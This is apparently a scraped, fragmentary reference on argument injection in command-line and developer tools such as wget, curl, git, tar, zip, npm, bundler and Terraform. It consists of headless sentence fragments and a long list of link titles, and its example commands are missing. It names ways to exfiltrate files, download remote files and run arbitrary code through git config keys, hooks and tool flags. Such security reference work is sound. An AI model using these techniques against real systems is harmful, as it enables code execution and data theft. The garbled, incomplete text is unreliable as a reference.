specifies the command to prompt for a user and password. This key can be used to execute arbitrary commands without any arguments and stdout/stderr.

can be used to exfiltrate files in a POST request.

can be used to download a remote file via a GET request and save it to a specific location.

specifies a logfile that will be used to log all messages normally reported to standard error. It can be used to write output to a file.

reads URLs from a local or external file. This key can be used to expose a file content in an error message:

is used to specify a command to test an archive when the -T option is used.

system
sprintf
GTFOArgs: awk
bundler install
Gemfile
RubyGames Guides: Make your own gem
RubyGames Guides: Gems with extensions
RubyGames Guides: Specification reference - Extensions
Bundler Docs: gemfile - Gems
Bundler Docs: gemfile - Git
Bundler Docs: gemfile - Path
curl
GTFOArgs: curl
-exec
GTFOArgs: find
-execdir
-fprintf
man
GTFOArgs: find
RubyGames Guides: Make your own gem
RubyGames Guides: Command reference - gem build
RubyGames Guides: Gems with extensions
RubyGames Guides: Specification reference - Extensions
RubyGames Guides: Command reference - gem install
GIT_CONFIG* environment variables
GIT_DIR
--git-dir
GIT_COMMON_DIR
commondir
bare repositories
Writeup: gh run download implementation allows overwriting git repository configuration upon artifacts downloading
options
/etc/gitconfig
~/git/config
~/.gitconfig
.git/config
.git/config.worktree
git -c/--config-env
git-clone -c/--config
core.gitProxy
core.fsmonitor
Research: Git honours embedded bare repos, and exploitation via core.fsmonitor in a directory's .git/config affects IDEs, shell prompts and Git pillagers
Research: Securing Developer Tools - Git Integrations
core.hooksPath
hooks
git-config docs: core.hooksPath
githooks docs
core.pager
core.sshCommand
diff.external
filter..clean
filter..smudge
Write up: RCE in GitHub Desktop < 2.9.4
Report: Injection of http.<url>.* git config settings leading to SSRF
git-config docs: http.proxy
git-config docs: remote..proxy
.git/hooks/
executed upon certain git operations
Writeup: 4 Google Cloud Shell bugs explained – bug #3
Research: Git honours embedded bare repos, and exploitation via core.fsmonitor in a directory's .git/config affects IDEs, shell prompts and Git pillagers
advisory
Sonar Blog: Empowering weak primitives: file truncation to code execution with Git
Sonar Blog: Empowering weak primitives: file truncation to code execution with Git
git-remote-ext docs
upload-pack
Write up: Securing Developer Tools Package Managers - Argument Injections in Bundler and Poetry
GTFOArgs: git
--no-index
GTFOArgs: git
--upload-pack
GTFOArgs: git
--upload-pack
Report: Git flag injection - Search API with scope 'blobs'
-O/--open-files-in-pager
GTFOArgs: git
Report: Git flag injection - local file overwrite to remote code execution
Report: Git flag injection leading to file overwrite and potential remote code execution
--upload-pack
GTFOArgs: git
--upload-pack
GTFOArgs: git
receive-pack or exec
git-receive-pack
exec-maven-plugin
groovy-maven-plugin
Apache Maven Project: Introduction to the Build Lifecycle
scripts
npm run-script or npm run for short
DEPRECATED
npm cache add
npm ci
npm diff
npm install
node-gyp
npm pack
npm publish
npm rebuild
npm restart
npm start
npm stop
npm test
0wned - Code execution via Python package installation
command
The Hacker's Choice Blog: Infecting SSH Public Keys with backdoors
LocalCommand
#BrokenSesame: Accidental ‘write’ permissions to private registry allowed potential RCE to Alibaba Cloud Database Services
ssh-keygen
Sean Pesce's Blog: Leveraging ssh-keygen for Arbitrary Execution (and Privilege Escalation)
GTFOArgs: ssh-keygen
checkpoint
Checkpoints
--to-command
GTFOArgs: tar
-I/--use-compress-program
GTFOArgs: tar
"providers"
custom provider
Terraform Registry
external provider
docs
Terraform Plan "RCE"
Terraform as part of the software supply chain, Part 1 - Modules and Providers
Terraform Docs: Command: plan
Terraform Docs: Provider Configuration
Terraform Docs: The Module providers Meta-Argument
--use-askpass
GTFOArgs: wget
--post-file
GTFOArgs: wget
-o/--output-document
GTFOArgs: wget
-o/--output-file
GTFOArgs: wget
-i/--input-file
GTFOArgs: wget
-TT/--unzip-command
GTFOArgs: zip
gemspec
native extensions
.gemspec file with an arbitrary code
built gem with native extension
-c/--config-env
Abuse via .git/config
Abuse via .git/HEAD
-c/--config
Abuse via .git/config
Git - git Documentation
Logo
Git - git-blame Documentation
Git - git-clone Documentation
Git - git-diff Documentation
Git - git-fetch Documentation
Git - git-fetch-pack Documentation
Git - git-grep Documentation
Git - git-log Documentation
Git - git-ls-remote Documentation
Git - git-pull Documentation
Git - git-push Documentation
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo